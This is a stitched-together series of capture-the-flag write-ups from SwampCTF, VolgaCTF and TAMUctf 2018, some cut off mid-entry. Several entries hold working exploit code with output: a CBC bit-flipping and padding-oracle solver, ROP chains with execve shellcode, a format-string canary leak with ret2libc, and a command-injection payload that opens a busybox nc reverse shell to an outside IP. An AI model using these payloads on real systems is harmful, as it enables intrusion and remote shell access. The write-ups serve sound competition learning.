def decrypt_wrapper(self, encoded_enc_str): enc_str = b64decode(encoded_enc_str) return self.__decrypt(enc_str[16:], enc_str[:16])
if __name__ == "__main__": with open("flag.txt") as fd: flag = fd.read() flag_size = len(flag) key=KEY insertion_range = flag_size//BLOCK_SIZE insertion_position = random.randrange(insertion_range)*BLOCK_SIZE mod_flag = flag[:insertion_position] + "send_modflag_enc" + flag[insertion_position:] aescipher = AESCipher(key) enc_mod_flag = aescipher.encrypt_wrapper(mod_flag, IV) sys.stdout.write(enc_mod_flag) sys.stdout.write('\n') sys.stdout.flush() next_level = False for i in range(insertion_range): sys.stdout.write("What do you want me to do?\n") sys.stdout.flush() enc_recv_str = raw_input() dec_recv_str = aescipher.decrypt_wrapper(enc_recv_str) print dec_recv_str if "get_modflag_md5" in dec_recv_str: next_level = True sys.stdout.write("Dungeon goes deeper..\n") sys.stdout.flush() break else: sys.stdout.write("I am gonna ask again!\n") sys.stdout.flush()
if next_level: len_enc_mod_flag = len(enc_mod_flag) inp_size_limit = int(len_enc_mod_flag*4/3) + 50 for i in xrange(500): enc_recv_str = raw_input() if len(enc_recv_str) > inp_size_limit: continue dec_recv_str = aescipher.decrypt_wrapper(enc_recv_str) sys.stdout.write(b64encode(md5(dec_recv_str).digest())) sys.stdout.write("\n") sys.stdout.flush()```
So basically here we given a script of encryption,the first step is to modify dec_recv_str to contain string `get_modflag_md5` instead of `send_modflag_enc` .Encryption using AES-CBC so,IV is applied after the Block-Key Encryption .We can modify our IV payload with `new_iv` = `target string` ^ `real string` ^ `old_iv` .Using this `new_iv` as our payload,we can get to the `The next_level` .This only can work if result of `insertion_position = random.randrange(insertion_range)*BLOCK_SIZE` is 0.So we need to retry multiple times.
After that in `next_level` we can bruteforce flag ber byte using md5 encryption.It works if we can adjust the last byte of IV to desired pad because padding of message use `unpad = lambda inp: inp[:-ord(inp[-1])]` .It caused we can easily generate first byte of message until n-1 length of message per process(16 byte).We can only get 15 out of 16 character of flag per process cause `[:-ord(inp[-1])]` cannot get the entire message.Use some bruteforce after that and get the flag.
## Solve.py```pythonfrom pwn import *from base64 import *import hashlib
flag=[]tes=16tes2=32jadi=''while True: try: p = remote("chal1.swampctf.com" ,1460) # p = process('./dungeon2.py') data = p.recvline()[:-1] data = b64decode(data)
iv = data[:16] awal = data[16:32] mula = "send_modflag_enc" target = "get_modflag_md5\x01"
iv_baru ='' for i in range(16): #change IV to make decrypted string to "target" from "mula" iv_baru += chr(ord(target[i]) ^ ord(iv[i]) ^ ord(mula[i]))
payload = iv_baru + awal payload = b64encode(payload)
p.recv(1024) p.sendline(payload) lol2 = p.recv(1024)
if len(jadi) == 15: #max 15 byte flag per process flag.append(jadi) print flag tes+=16 tes2+=16 jadi = ''
if len(flag) == 3: #get the entire flag,the last 16 byte blocks are just padding break
if "Dungeon goes deeper" in lol2 : print "Succes Entering Dungeon,processing..." for j in range(256): #Bruteforce last byte IV to search flag per byte using md5 payload2 = data[tes:tes2][:-1] + chr(j) + data[tes2:tes2+16] p.sendline(b64encode(payload2)) hasil = p.recvline()[:-1] for k in range(0x20,0x7f): if hashlib.md5(jadi+chr(k)).digest() == b64decode(hasil): print "Get flag byte :" , chr(k) jadi+=chr(k) break if len(jadi)==15: break print "Piece of flag gathered per process : ",jadi else: print "Can't enter,try again ..." p.close() except: print "Service Error :(" pass
#After we got 3 separate flag string,we need to join them and bruteforce some word#cause every process we only can get 15/16 character
#Possible Flag :# flag{Ev3n_dunge --> 0 or o or O# ns_are_un5af3_w --> i or I or 1# th_vu1n_padding --> we know last char is } , so just need brute 2 wordprint flagprint "Possible FLAG :"for i in ("0oO"): for j in ("1iI"): print flag[0] + i + flag[1] + j + flag[2] + "}"```
### Wrote by : Yeraisci77 |
> Just do it.>> [download](https://0xd13a.github.io/ctfs/volgactf2018/crackme/crackme.zip)
We are given an executable and an enecrypted text file, and must find a way to decrypt it. The executable is a .Net assembly:
```$ file CrackMe.exeCrackMe.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows```
Let's open it in ```ILSpy```, which produces a handy decompilation to the original source. Based on the source, the application essentially encrypts and decrypts files and the encryption key must be provided on command line.
When the key is read by the application an MD5 is calculated for it and then it is combined with a constant (```appSettings.DefaultKey```) and mangled:
```csharp...
public string UserPassword{ set { this.KeyLength = 16; byte[] userKey = MD5.Create().ComputeHash(Encoding.UTF8.GetBytes(value)); this.UserKey = this.CombineKeys(userKey); }}
...
private byte[] CombineKeys(byte[] UserKey){ AppSettings appSettings = new AppSettings(); byte[] expr_16 = Encoding.UTF8.GetBytes(appSettings.DefaultKey); long num = BitConverter.ToInt64(expr_16, 0); long num2 = BitConverter.ToInt64(expr_16, 8); long num3 = BitConverter.ToInt64(UserKey, 0); long num4 = BitConverter.ToInt64(UserKey, 8); long num5 = num ^ num3; long num6 = num2 ^ num4; long num7 = (~num & num3) | (~num3 & num); long num8 = (~num2 & num4) | (~num4 & num2); int num9 = BitConverter.ToInt32(BitConverter.GetBytes(num5), 0); int num10 = BitConverter.ToInt32(BitConverter.GetBytes(num5), 4); int num11 = BitConverter.ToInt32(BitConverter.GetBytes(num6), 0); int num12 = BitConverter.ToInt32(BitConverter.GetBytes(num6), 4); num9 >>= 2; num10 >>= 2; num9 <<= 1; num10 <<= 1; num12 = num9 << 1; num11 >>= 2; num11 = num9 << 1; num12 >>= 2; if (~(num9 & num12) == (~num9 | ~num12)) { num11 = num10; if (~(~num7) != num5 && ~(~num8) != num6) { num10 = num12; } else { num12 = num10; } num9 = ~num12; } else { num11 = num9; if (~(~num7) == num5 && ~(~num8) == num6) { num10 = num12; } else { num12 = num10; } num9 = ~num10; } num9 = ~num9; byte[] bytes = BitConverter.GetBytes(num9); byte[] bytes2 = BitConverter.GetBytes(num10); byte[] bytes3 = BitConverter.GetBytes(num11); byte[] bytes4 = BitConverter.GetBytes(num12); byte[] array = new byte[16]; for (int i = 0; i < 4; i++) { array[i] = bytes[i]; array[i + 4] = bytes2[i]; array[i + 8] = bytes3[i]; array[i + 12] = bytes4[i]; } return array;}
...```
Bruteforcing of a 16-byte key will take forever, but let's take a closer look at the ```CombineKeys``` algorithm. A few things stand out:
* The branch on line ```39``` will always be taken because by De Morgan's theorem ```(AA)' == A' + A'```
* ```num7``` essentially equals to ```num5``` because by definition of the XOR operator ```A'B + AB' == A ^ B```. Same goes for ```num8``` and ```num6```. This means that branch on line ```46``` will always be taken.
Because of these considerations lines ```39 - 65``` are essentially reduced to the following:
``` num11 = num10;num12 = num10;num9 = num10;```
This means that the key is essentially a repetition of the same 4-byte sequence and we can bruteforce that pretty quickly with the following script:
```pyfrom Crypto.Cipher import AES
data = open("CrackMe.txt","rb").read()iv = data[0:16]data = data[16:]
x = 0while x < 0x100000000:
key = struct.pack(">I", x) aes = AES.new(key*4, AES.MODE_CBC, iv) dec = aes.decrypt(data)
if "Volga" in dec: print dec break
x += 1```
The flag is ```VolgaCTF{my_little_cat_solved_this_much_faster}```. |
# Locked Dungeon 2> The Dungeon Keeper learned from its mistake. This next lock is protected by even stronger encryption. We're so close to the final level...there has to be a way in.>> Connect: nc chal1.swampctf.com 1460
https://play.swampctf.com/files/ece0eeee169fe4fd3070f1b2f146c973/enter_the_dungeon2.py
This is a two-step challenge:
First, we have to create a modified encrypted output that, when decrypted, contains "get_modflag_md5": ```pythonenc_recv_str = raw_input()dec_recv_str = aescipher.decrypt_wrapper(enc_recv_str)if "get_modflag_md5" in dec_recv_str: # success```
Once we are through this stage, we have to extract the flag, by submitting up to 500 encrypted values, and getting the md5 hash of the decrypted value back:```pythonenc_recv_str = raw_input()dec_recv_str = aescipher.decrypt_wrapper(enc_recv_str)sys.stdout.write(b64encode(md5(dec_recv_str).digest()))```
First things first: this challenge uses AES in CBC mode, with a random key and IV for each connection. However, no MAC is being used,so there is no authenticity provided. This means that, although we cannot directly decrypt the data, we can modify the contents.
This is a good moment to read up on [Block cipher modes](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation),and specifically, understanding the following two images:
For the first part of the challenge, we need to insert `get_modflag_md5` into the decrypted data. To do so, we use the knowledge that`send_modflag_enc` will be part of the decrypted data. To simplify things, we will assume the decrypted data will have the form `send_modflag_encflag{.....}`. The same method can be extended to situations where `send_modflag_enc` is in another block.
First, note that we are using AES, which means a 16-byte block size. `send_modflag_enc` is _exactly_ 16 bytes. Now, let's take a lookat how CBC decryption works. We know the decrypted contents of the first block is `send_modflag_enc`, we know the encrypted first blockand we know the IV. Decryption of the first block works as follows: `decrypted_block = AES_Decrypt_block(encrypted_block) ⊕ IV`, i.e.,`'send_modflag_enc' = AES_Decrypt_block(encrypted_block) ⊕ IV`. However, we can also _modify_ the IV, which means we can directly controlthe decrypted block. If we choose `newIV = oldIV ⊕ 'send_modflag_enc' ⊕ 'get_modflag_md5 '`, then we find that
```decrypted_block = AES_Decrypt_block(encrypted_block) ⊕ newIV = AES_Decrypt_block(encrypted_block) ⊕ oldIV ⊕ 'send_modflag_enc' ⊕ 'get_modflag_md5 ' = 'send_modflag_enc' ⊕ 'send_modflag_enc' ⊕ 'get_modflag_md5 ' = 'get_modflag_md5 '```
In Python code, using [conn.py](https://github.com/DancingSimpletons/writeups/blob/master/swampctf-2018/conn.py):```pythonimport timeimport numpy as npfrom conn import Conn
conn = Conn(port=1460)time.sleep(0.2)
encdata = base64.b64decode(conn.read())conn.read()
newIV = np.frombuffer(encdata[:16], dtype=np.uint8) ^ \ np.frombuffer(b'send_modflag_enc', dtype=np.uint8) ^ \ np.frombuffer(b'get_modflag_md5 ', dtype=np.uint8)
newencdata = newIV.tobytes() + encdata[16:]
result = conn.send(base64.b64encode(newencdata))
if b'Dungeon goes deeper' not in result: raise Exception('try again!')```
After we get `Dungeon goes deeper..` as result, we can continue with the second part of the challenge: extracting the flag. For this,we first take a more detailed look at the decryption method:
```pythondef decrypt_wrapper(self, encoded_enc_str): enc_str = b64decode(encoded_enc_str) return self.__decrypt(enc_str[16:], enc_str[:16])
def __decrypt(self, enc_str, iv): cipher = AES.new(self.key, AES.MODE_CBC, iv) decrypted_str = cipher.decrypt(enc_str) decrypted_str = unpad(decrypted_str) return decrypted_str unpad = lambda inp: inp[:-ord(inp[-1])]```
Where the `unpad` method looks interesting: this implements a very basic form of [PKCS7 unpadding](https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7),without any validation (e.g. validating that the result is ≤ 16 bytes, that all removed padding bytes contain the same value). Notethat this validation is generally not useful, as the data should have been MACed to begin with.
What this means is that as long as we can change the last byte to be e.g. length-1, we get the md5 hash of the first character of theplaintext data. We can then easily enumerate the md5 hashes, get the first character, and repeat with all subsequent characters.
The easiest way to do this is to add two blocks to the ciphertext: `aaaaaaaaaaaaaaaX aaaaaaaaaaaaaaa`, where we change `X` to be everypossible byte. This means that the decrypted last byte will be `plain_last_byte = AES_Decrypt(last_block)[-1] ⊕ X`, and because`AES_Decrypt(last_block)[-1]` is constant, `plain_last_byte` will take every value (although we will not know which value correspondsto which value of X).
When we do this, we will get a set of values that contains- md5('')- md5('s')- md5('se')- md5('sen')- ...etc
First step is retrieving this set from the server:
```pythonallmd5hashes = []
for testbyte in range(256): newencdata = encdata + \ b'a' * 15 + bytes([testbyte]) + \ b'a' * 16
result = conn.send(base64.b64encode(newencdata), 0.5).strip() allmd5hashes.append(result)```
and we find that indeed:```>>> base64.b64encode(md5(b'').digest()) in allmd5hashesTrue>>> base64.b64encode(md5(b's').digest()) in allmd5hashesTrue>>> base64.b64encode(md5(b'se').digest()) in allmd5hashesTrue>>> base64.b64encode(md5(b'send_modflag_enc').digest()) in allmd5hashesTrue```Nice!
We can then build the plaintext, one byte at a time:```pythonf = b''
# loop over positionsfor i in range(100): # loop over character hypotheses for char in range(256): testflag = f + bytes([char]) if (base64.b64encode(md5(testflag).digest())) in allmd5hashes: print(testflag) f = testflag break```
and we get in return:```b's'b'se'b'sen'b'send'b'send_'b'send_m'b'send_mo'b'send_mod'b'send_modf'b'send_modfl'b'send_modfla'b'send_modflag'[...]b'send_modflag_encflag{Ev3n_dunge0ns_are_un5af3_wIth_vu1n_padding}'```
so the flag is `flag{Ev3n_dunge0ns_are_un5af3_wIth_vu1n_padding}`. |
The site exposes SEO service which requests like this:
```POST http://seo-kings.quals.2018.volgactf.ru:8080/ HTTP/1.1Host: seo-kings.quals.2018.volgactf.ru:8080Content-Type: application/x-www-form-urlencodedContent-Length: 7
site=<my_url>```
If an array is given as `site` parameter, like `site[]=`, the server emits an error:
```NoMethodError at /undefined method `gsub' for [""]:Arrayfile: rfc2396_parser.rb location: escape line: 305
```
And guess what? Some partial source code is revealed in the error message, and there is:
```/opt/seo-kings/app/controllers/main_controller.rb in runAdmin pid = Process.spawn("phantomjs --web-security=no bot.js '" + URI.escape(site) + "'")/opt/seo-kings/app/controllers/main_controller.rb in block in <class:MainController> runAdmin(site)```
Look at **`pid = Process.spawn("phantomjs --web-security=no bot.js '" + URI.escape(site) + "'")`**. `site` is user input, and by URI.escape, '(0x27) is not escaped! So there is a command injection vulnerability.
Since all spaces including %20, %09-%0c and [], {} are escaped (and dollar sign is not escaped), I could use $IFS to make spaces in the command. Like, `ls$IFS-al`.
But if non-first arguments doesn't start with non-alphanumeric characters, it'll become like this:
```nc 1.2.3.4 -> nc$IFS1.2.3.4 ?$IFS1 is not defined, so it'll become nc .2.3.4.```
Fortunately `()` is not escaped, so we can do like this:
```nc$IFS$()1.2.3.4```
$() is the output of empty command, which is zero-length character. It was used to separate IFS and other characters.
The final payload:
```site=';busybox$IFS$()nc$IFS$()1.2.3.4$IFS$()10000$IFS$()-esh;'```
After obtaining shell, I saw .bash_history in the user directory, which has this:
```vi file_wiht_flag.rb```
I ran `find / -name file_wiht_flag.rb`, and there was:
```...'VolgaCTF{hope_it_was_like_madness}'...``` |
```python
from itertools import izip, cycleimport string
def xor(message, key): return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(message, cycle(key)))
key = '\xee'buffer = open('flag.png.crypt','rb').read()xored = xor(buffer, key)file = open('out.png','wb')file.write(xored)file.close()``` |
```python# Solution for swampctf 2018 journeyimport angr
# unpack the binary first with `upc -d journey`p = angr.Project('journey')
# the binary is statically linked. For better performance we hook the functions.p.hook(134542912, angr.SIM_PROCEDURES['libc']['puts'])p.hook(134541424, angr.SIM_PROCEDURES['libc']['scanf'])p.hook(134592704, angr.SIM_PROCEDURES['libc']['strlen'])p.hook(134592320, angr.SIM_PROCEDURES['libc']['strcmp'])p.hook(134516768, angr.SIM_PROCEDURES['glibc']['__libc_start_main'])
state = p.factory.entry_state(add_options=angr.options.unicorn)
for _ in xrange(17): k = state.posix.files[0].read_from(1) state.solver.add(k >= ' ') state.solver.add(k <= '~')
state.posix.files[0].seek(0)state.posix.files[0].length = 18
ex = p.surveyors.Explorer( start=state, find=(0x08048986, ), avoid=(0x080489B8, ))ex.run()
for i in ex.found: a = i.posix.dumps(0).split('\0')[0] print("flag{%s}" % a)
# flag{wkitfudrpxkgsvviq}``` |
# Words of Power
> You push the wooden door. It creaks open to reveal a dust covered study. Cobwebs string across the dilapidated armchair and fine fibers stream down from the ceiling. Grey, dusty tomes line the walls. Nothing stands out...except one book which pulses, gently disturbing the dust around it. You walk over to the book and slide it from its shelf. It feels warm to the touch and tingles in your hand.>> You open it to find incomprehensible three word phrases written on every page. None of the words stand out on their own, yet you feel you that together they bring meaning. Decipher the book's contents and be rewarded with a new found understanding of the world around you.> > Hint: the title of the book is Magni Momenti Locat
The attached file contains a series of lines with three words:
```dunk.curing.leaneddimly.paths.thicklywader.tunic.pinchessizzled.hotdogs.goalscease.authors.crashedprattle.bookmark.scorecardshopper.tripped.seedlesswalkway.repaint.songbony.intestine.bubble```
One of the many projects to make GPS coordinates more user-friendly is https://what3words.com/. Let's try to see if these locations resolve:
- https://map.what3words.com/dunk.curing.leaned- https://map.what3words.com/dimly.paths.thickly- https://map.what3words.com/wader.tunic.pinches
Ok, that seems to work! W3w luckily also has [an API](https://docs.what3words.com/api/v2/), which we can use in Python.After installing [what3words-python-wrapper](https://github.com/what3words/w3w-python-wrapper), we can simply:
```pythonimport what3wordsimport requests
w3w = what3words.Geocoder(API_KEY)
words = [line.strip() for line in requests.get( "https://play.swampctf.com/files/4fdecbe9383a45cf6e1f29f9c1daac8e/book-pages.txt" ).text.strip().split("\n")]
coordinates = []
for word in words: coordinates.append(w3w.forward(addr=word)['geometry'])```
We then plot the coordinates using matplotlib:```pythonfrom matplotlib import pyplot as plt
lat = [c['lat'] for c in coordinates]lng = [c['lng'] for c in coordinates]
plt.subplot(aspect='equal')plt.plot(lng, lat, ".")```
and find the flag:
 |
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The binary has the following protections set and is statically linked:
```CANARY : disabledFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : Partial```We're greeted by a text adventure style game with a number of inputs. ```Welcome to the TAMU Text Adventure!You are about to begin your journey at Texas A&M as a studentBut first tell me a little bit about yourselfWhat is your first name?: ```The first set of inputs do not appear vulnerable to overflow, as they appear to accept fixed length buffer. However, the `change your major` option will segfault when given a large input.```What is your first name?: What is your last name?: What is your major?: Are you joining the Corps of Cadets?(y/n): y
Welcome, , to Texas A&M!You wake with a start as your sophomore yells "Wake up fish ! Why aren't you with your buddies in the fallout hole?"As your sophomore slams your door close you quickly get dressed in pt gear and go to the fallout hole.You spend your morning excersizing and eating chow.Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number)1. Go to class.2. Change your major.3. Skip class and sleep4. Study2You decide that you are already tired of studying and go to the advisors office to change your majorWhat do you change your major to?: ```We input a pattern to find the point at which we get EIP overwrite```gdb0x41412941 in ?? ()gdb-peda$ pattern offset 0x414129411094789441 found at offset: 32```
This one was honestly quite tricky. The remote binary failed to correctly buffer it's input, so any commands sent wouldn't return any output. This made the range of options much more limited.
Since the binary is statically linked, a number of useful functions aren't compiled into the binary, and we can't perform a ret2libc anyway. I noticed the `read` and `mprotect` functions were available, so I attempted to use the `read` function to write a '/bin/sh' string to
Given the buffer issues however this worked locally, but not remotely. Instead we can use two gadgets to pop wanted values into two registers and a `mov [ecx], edx` gadget to achieve arbitrary memory write. We write these into the .bss binary section.```pythonfrom pwn import *r = remote('pwn.ctf.tamu.edu', 4325)
r.sendline('')r.sendline('')r.sendline('')r.sendline('y')r.sendline('2')
mov_gadget = 0x8067f91 # mov [ecx],edx; pop ebx; retpop_gadget = 0x080733b0 # pop edx; pop ecx; pop ebx; ret
bss_addr = 0x080f0f80
pop_ebx = 0x0806b400 # pop ebx; ret;pop_ecx = 0x080e4325 # pop ecx; ret;pop_edx = 0x080ea949 # pop edx; ret;pop_eax = 0x080bc396 # pop eax; ret;int_x80 = 0x08073990 # int 0x80
rop = p32(pop_gadget)rop += '/bin'rop += p32(bss_addr)rop += p32(0x0)
rop += p32(mov_gadget)rop += p32(0x0)
rop += p32(pop_gadget)rop += '/sh\x00'rop += p32(bss_addr+4)rop += p32(0x0)
rop += p32(mov_gadget)rop += p32(0x0)
rop += p32(pop_ebx) # pop ebx; ret;rop += p32(bss_addr) # .bss
rop += p32(pop_ecx) # pop ecx; ret;rop += p32(0x0) # No args please
rop += p32(pop_edx) # pop edx; ret;rop += p32(0x0) # No args please
rop += p32(pop_eax) # pop eax; ret;rop += p32(11) # exec syscall valuerop += p32(int_x80) # int 0x80
buf = 'A'*32 + rop
r.sendline(buf)r.interactive()```
Running the above and we're returned a shell!
```root@kali:~/Desktop/tamuctf# python pwn5_test.py [+] Opening connection to pwn.ctf.tamu.edu on port 4325: Done[*] Switching to interactive mode$ iduid=1000(pwnuser) gid=1001(pwnuser) groups=1001(pwnuser),1000(ctf)$ cat flag.txtgigem{r37urn_0f_7h3_pwn}```The read ROP chain (which worked locally but not remotely), sets the .bss location as executable using ret2mprotect, and then uses `read` to allow us to write a payload into that section, which we then jump to:```pythonread_func = 0x8071950bss_addr = 0x8048000pop3ret = 0x80483e8mprotect = 0x8072450
#classic execve payloadpayload='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
rop = p32(mprotect)rop += p32(pop3ret)rop += p32(bss_addr)rop += p32(0x121)rop += p32(0x7)
rop += p32(read_func)rop += p32(bss_addr)rop += p32(0x0)rop += p32(bss_addr)rop += p32(len(payload))``` |
It was a pretty simple chall. Apparently no input from the user was taken. The binary was given which was running on the server. It calculates a key based on the time you connect to the binary and then decrypts a payload which is then executed. When the key is correct, the flag is read and printed to stdout. We wait for that "Window of Opportunity".Here's how I did it:
The relation between time and key:
```pythonkey = (((time & 0xFFC) << 16) - 0x14C437BE) ^ ((time & 0xF0) << 8) | ((time & 0xFFC) << 8) | ((time >> 8) << 24) | time & 0xFC```
This shows only last 2 bytes matter.
We have at most $2^{16}$ combinations, but some operations make it lesser.
+ Only 787 possible keys.+ Run the program with all keys under gdb to figure out the correct based on if the program crashes. Only one correct key => 0xff4fdc56L+ Connect to the server at the time when the correct key is derived
All scripts [here](https://gist.github.com/sudhackar/b90987864dd88dfe528542bea9d901be) |
# Etherealboy
>A new wizard has arrived in your town and with him he brings a strange technology. He has started handing out these tiny boxes with moving pictures on them. Apparently anyone who can find his secret message will be rewarded greatly. Do you have the skills to break the code of this new device?>>-=Created By: matg=-
The challenge supplies us with a file named `game.gb, which seems like it will be a GameBoy rom. This challenge falls in the Forensics category, so hopefully it will be a bit light on reversing.
First, let's see what happens if we just open the rom in an emulator. I downloaded the emulator called [bgb](http://bgb.bircd.org/) to run the rom, since this also includes a debugger that might come in handy.
The game starts and shows us the below screen. Our character is in the middle and we're able to walk around and interact with the npc at the top.
If we interact with the npc we get some hex value in the middle of the screen and every interaction just gives a new one. An example is in the image below.
The characters don't really give me much information, so I decide to take a look around the different features of the debugger in the emulator. Maybe I can find some strings in memory, or maybe there is something that will help me further.
I get memory and assembly dumps through the emulator and search them for something like 'flag' or 'flag{' but i get no usable result. Time to look at some other things.
Since the challenge is forensics, I just keep looking if there's something in the resources of this rom. So let's open up the VRAM viewer of bgb. It has 4 tabs: * BG map* Tiles* OAM* Palettes
`BG map` shows, as the name suggests, the background we see in the screenshots. Nothing much besides that. Next tab is `Tiles`.
Ok, well that wasn't what I expected...So there's our flag `flag{und3r_th3_hood}` |
Please, do not write just a link to original writeup here.[View Writeup](https://github.com/rahulkadavil/CTF-writeups/blob/SwampCTF-2018/Wild%20Night%20Out-%20Writeup) |
# Pilgrim (rev500)Original writeup and PoC [here](https://github.com/numinit/CTF/blob/master/SwampCTF-2018/rev/pilgrim-500/pilgrim.md)
$ nc chal1.swampctf.com 1900
```You awake in the swamp temple, july 3, 3085. The mist of the early morning dampens your leather armor while you hear the wildlife of the wetlands begin the day.
A pilgrim approaches.Hi:)Enter a number: 1. Reset Network 2. Speak 3. Directly Edit Weights 4. Directly Edit bias```
Download "NNawkward_pilgrim" - it’s an x86_64 binary. Run strings, and... oh boy.
It's not stripped, which is a breath of fresh air after the gameboy challenge,but it's full of C++ templates.
```/home/ambrose/eigen/Eigen/src/Core/PlainObjectBase.h(!(RowsAtCompileTime!=Dynamic) || (rows==RowsAtCompileTime)) && (!(ColsAtCompileTime!=Dynamic) || (cols==ColsAtCompileTime)) && (!(RowsAtCompileTime==Dynamic && MaxRowsAtCompileTime!=Dynamic) || (rows<=MaxRowsAtCompileTime)) && (!(ColsAtCompileTime==Dynamic && MaxColsAt>((SizeAtCompileTime == Dynamic && (MaxSizeAtCompileTime==Dynamic || size<=MaxSizeAtCompileTime)) || SizeAtCompileTime == size) && size>=0/home/ambrose/eigen/Eigen/src/Core/DenseCoeffsBase.hindex >= 0 && index < size()row >= 0 && row < rows() && col >= 0 && col < cols()/home/ambrose/eigen/Eigen/src/Core/CommaInitializer.hm_row |
## === Dungeon Crawl (Pwn: 49 solves / 490 pts) ===
I confirmed 100 actions one by one at level 4.Segmentation fault occurred at the 73rd action.
```ubuntu:~/Pwn_Dungeon_Crawl$ ./level4----- LEVEL 4 -----Choose an action: 73Hey traveler, what is your name? 1Running action 73...Segmentation fault (core dumped)```
In level 5, I read the canary value by FSB.In the same way, I read the function address of GOT and got the base address of libc.```ubuntu:~/Pwn_Dungeon_Crawl$ ./level5----- LEVEL 5 -----This is your final task - defeat this level and you will be rewarded.Choose your path to victory...
Choice [0 exit][1 small][2 large][3 format]: 3Path 3 - The possibilities are endless!%71$p0xfa6856f27f8d8d00Still alive?```
```from pwn import *
#context(os='linux', arch='i386')#context.log_level = 'debug'
BINARY = './level1'
if len(sys.argv) > 1 and sys.argv[1] == 'r': s = remote("chal1.swampctf.com", 1337) libc = ELF('./libc.so.6')else: s = process(BINARY) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
## level1#s.recvuntil("Access token please: ")s.sendline("252534")
## level2#s.recvuntil("What is your party name? ")s.sendline("A"*124+p32(0xCC07C9))
## level3#s.recvuntil("what is your favorite spell? ")s.sendline("A"*136+"-")
## level4#s.recvuntil("Choose an action: ")s.sendline("73")
s.recvuntil("what is your name? ")s.sendline("A"*108+p32(0x804a47c))
## level5#
elf = ELF('./level5')puts_plt_addr = elf.plt['puts']puts_got_addr = elf.got['puts']pop_rdi_ret_addr = 0x400b73 # pop rdi ; ret ; (1 found)
puts_offset_addr = libc.symbols['puts']system_offset_addr = libc.symbols['system']binsh_offset_addr = next(libc.search('/bin/sh'))
s.recvuntil("[3 format]: ")s.sendline("3")
s.recvuntil("endless!\n")s.sendline("%71$p")r = s.recv(18)canary = int(r[2:], 16)print "canary =", hex(canary)
s.recvuntil("[3 format]: ")s.sendline("3")
s.recvuntil("endless!\n")s.sendline("%7$sAAAA" + p64(puts_got_addr))r = s.recv(6)puts_addr = u64(r[0:6] + "\x00\x00")libc_base_addr = puts_addr - puts_offset_addrsystem_addr = libc_base_addr + system_offset_addrbinsh_addr = libc_base_addr + binsh_offset_addrprint "puts_addr =", hex(puts_addr) print "libc_base_addr =", hex(libc_base_addr) print "system_addr =", hex(system_addr)print "binsh_addr =", hex(binsh_addr)
s.recvuntil("[3 format]: ")s.sendline("1")s.recvuntil("challenge :)\n")buf = "A"*0x18buf += p64(canary)buf += "B"*8buf += p64(pop_rdi_ret_addr)buf += p64(binsh_addr)buf += p64(system_addr)s.sendline(buf)
s.interactive()```
```ubuntu:~/Pwn_Dungeon_Crawl$ python exploit.py r[+] Opening connection to chal1.swampctf.com on port 1337: Done[*] '/Pwn_Dungeon_Crawl/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] '/Pwn_Dungeon_Crawl/level5' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)canary = 0x10867b61bc595400puts_addr = 0x7ff90414f690libc_base_addr = 0x7ff9040e0000system_addr = 0x7ff904125390binsh_addr = 0x7ff90426cd57[*] Switching to interactive mode$ iduid=1000(ctf) gid=1000(ctf) groups=1000(ctf)$ lsflaglevel1level2level3level4level5$ cat flagflag{I_SurV1v3d_th3_f1n4l_b0ss}``` |
[+] Create SSH server with mickey user and provide it to the app
[+] Listen to the incoming SSH connection. Retrieve the public key used for authentication and the sent command
echo NDH{a_WInN3r_15_A_Dr3AMeR > ~/flag_1.txt
```import socketfrom paramiko import paramikoimport threadingimport sysimport traceback# using the key from the Paramiko demo fileshost_key = paramiko.RSAKey(filename='test_rsa.key')paramiko.util.log_to_file("filename.log")class Server (paramiko.ServerInterface): def __init__(self): self.event = threading.Event() def check_channel_request(self, kind, chanid): if kind=='session': return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_auth_none(self, user): return paramiko.AUTH_FAILED def check_auth_password(self,user, password): print(user, password) return paramiko.AUTH_FAILED def check_auth_publickey(self, username, key): print (key.public_numbers) print('Auth attempt with key: ' + key.get_fingerprint().encode('hex')) return paramiko.AUTH_SUCCESSFUL def get_allowed_auths(self, username): return 'password,publickey' def check_channel_exec_request(self, channel, command): print('Command:', command) self.event.set() return Trueserver = sys.argv[1]ssh_port = int(sys.argv[2])try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((server, ssh_port)) sock.listen(100) # Wow so many connections print ("[+] Listening for connection ...") client, addr = sock.accept()except Exception, e: print("[-] Listen failed: " + str(e)) traceback.print_stack() sys.exit(1)print("[+] Got a connection!") # runs as except exitstry: bhSession = paramiko.Transport(client) bhSession.add_server_key(host_key) server = Server() try: bhSession.start_server(server=server) except paramiko.SSHException, x: print("[-] SSH negotiation failed.") print("[+] Authenticated!") chan = bhSession.accept(20) print(chan.recv(1024))except Exception, e: print("[-] Caught exception: " + str(e)) try: bhSession.close() except: pass sys.exit(1)```
[+] Determine private exponent d using Boneh Durfee attack on RSA based on the given (e,n) from retrieved public key[https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage](https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage)
[+] Contruct private key mickey.key (PEM)
[+] ssh -i mickey.key [email protected] -p 2222 using mickey.key private key
[+] cat flag_2.txt_Wh0_NeV3R_gIve5_uP} |
```pythonimport gmpyimport base64
def text2Int(text): return reduce(lambda x, y : (x << 8) + y, map(ord, text))
